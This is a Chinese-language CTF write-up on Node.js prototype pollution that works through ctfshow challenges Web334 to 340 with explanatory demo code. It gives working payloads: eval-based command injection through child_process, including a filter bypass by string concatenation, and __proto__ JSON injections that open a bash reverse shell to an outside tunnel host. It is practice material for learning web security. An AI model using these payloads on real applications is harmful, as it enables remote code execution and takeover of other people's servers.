前言
极客2024复现的时候发现原型链污染太不熟练了,这里重刷一遍nodejs,然后以知识点总结的形式记录一遍
知识点
一些语法就不说了,这里复制粘贴一下之前写的原型链污染的原理
原型链污染是和ssti,是通过类的继承机制实现的漏洞。要了解原型链污染,就要先知道原型链是什么?原型是什么?
原型
JavaScript继承机制的思想是,把属性和方法定义在原型上,那么所有的实例对象都能共享这些属性和方法。(类似于父类子类的关系)
每个类都有一个prototype属性,指向该类的对象的原型对象(父类)
而每个对象的__proto__属性,则是指向该对象的原型对象
原型链
所有的类都可以当原型对象,且所有的对象都有原型对象。没错,原型对象也有属于它的原型对象,这就是所谓的原型链
举个例子:son.prototype = new father(),也就是说son的原型对象是father,father的原型对象是object,object的原型对象是null。
那么这条原型链就是son—->father—>object—>null
在调用对象属性时,如果该对象没有这个属性,那么JavaScript引擎会去寻找该对象的原型对象是否有这个属性,直到null

这里我们可以看到,son是没有first_name的,这里运行出来仍有
原型链污染
上面区区几段话是肯定不能完全理解的,接下来会通过这个漏洞,加深对这个概念的理解
当我们更改原型对象A的属性时,会反馈到所有以A为原型对象的对象
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
function Father() {
this.first_name = '王'
this.last_name = '爸'
}
function Son() {
this.last_name = '儿'
}
Son.prototype = new Father()
let son = new Son()
son.__proto__['add_name'] = '梓'
let son1 = new Son();
console.log(`son Name: ${son.first_name}${son.add_name}${son.last_name} `)
console.log(`son1 Name: ${son.first_name}${son.add_name}${son.last_name} `)
console.log(`father Name: ${son.__proto__.first_name}${son.__proto__.add_name}${son.__proto__.last_name} `)
|

我们可以看到,通过son.__proto__我们添加了一个新属性[add_name],这个新属性同样作用于了son1。
再来看一个例子
1
2
3
4
5
6
|
let son = new Son()
son.__proto__['add_name'] = '梓'
let son1 = new Son();
console.log(`son Name: ${son.first_name}${son.add_name}${son.last_name} `)
console.log(`son1 Name: ${son.first_name}${son.add_name}${son.last_name} `)
console.log(`father Name: ${son.__proto__.first_name}${son.__proto__.add_name}${son.__proto__.last_name} `)
|

可是,知道有这么个漏洞,怎么利用呢?
原型链污染的发生主要有两种场景:不安全的对象递归合并和按路径定义属性。接下来靠习题理解。
习题
Web334
考点:toUpperCase()
有源码,其中给了用户名和密码,然后登入逻辑这里toUpperCase()是把字符串转小写,因此用小写绕过即可。

ctfshow:123456

Web335
考点:nodejs命令执行
源代码里提示get传eval。
通过引入Nodejs内置的child_process模块创建子进程,可以再用execSync()函数执行命令,并返回一个Buffer对象,最后用tostring()将buffer对象转化为字符串,这样就能看到命令的输出结果。
1
|
?eval=require('child_process').execSync('cat fl00g.txt').toString()
|

Web336
考点:nodejs命令执行2
ban了exec
打
1
|
?eval=require('child_process').spawnSync('ls').stdout.toString();
|
与 execSync 不同,spawnSync 不会使用 shell 来执行命令(除非指定 shell 选项),而是直接执行命令。
spawnSync 的第一个参数是命令,第二个参数是参数数组(可选),第三个参数是选项(可选),所以用cat的话需要传参数数组
spawnSync返回一个对象,该对象包含子进程的详细信息。其中,stdout 属性是一个 Buffer,然后tostring就行
1
|
?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()
|

也可以用拼接绕过exec
1
|
?eval=require('child_process')['exe'+'cSync']('ls').toString()
|
Web337
考点:数组绕过MD5
关键源码如下
1
2
3
4
5
6
7
8
9
10
11
12
|
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
|
和php差不多

Web338
考点:原型链污染
源码要求secert的ctfshow参数的值为36dboy

我们登录页面是用JSON的形式传的,可以在这里传入secret的原型,改变原型的ctfshow的值
1
|
"__proto__":{"ctfshow":"36dboy"}
|

Web339
考点:原型链污染反弹shell
有源码,但是我们无法像上题一样直接通过proto修改源码的值,之前是因为没有ctfshow这个值,所以会向上寻找,我们污染了原型就能成功。
这里是因为本身是有secert.ctfshow这个属性的,所以并不会向上寻找,我们污染原型也米有用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
//console.log(user.query)
if(secert.ctfshow===flag){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
|
但是这题有个api.js
1
2
3
4
5
|
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});
|
我们可以通过原型链控制这个query,使这个query的值最后可以执行我们的命令
1
|
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/6.tcp.cpolar.top/13786 0>&1\"')"}}
|
在/login发完包之后要进一下/api,不然不会执行这段代码
(这里反弹shell我用的是Cpolar内网穿透,这样就不用搞服务器了)

Web340
考点:二次链原型链污染反弹shell
和上题差不多,直接污染两层就行

1
|
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/6.tcp.cpolar.top/13786 0>&1\"')"}}}
|
后续的题目都是围绕ejs模板漏洞,也对,是nodejs的题目,又不是原型链污染的题目。不过这里主要是想学习原型链污染,这里就先写道这里。
小结
有点小失望,我以为ctfshow里的题目会挺好的,感觉不符合预期。不过也是学到了一些东西,对原型链污染的理解更深刻了,然后发现了一种新的反弹shell的方法,挺不错的。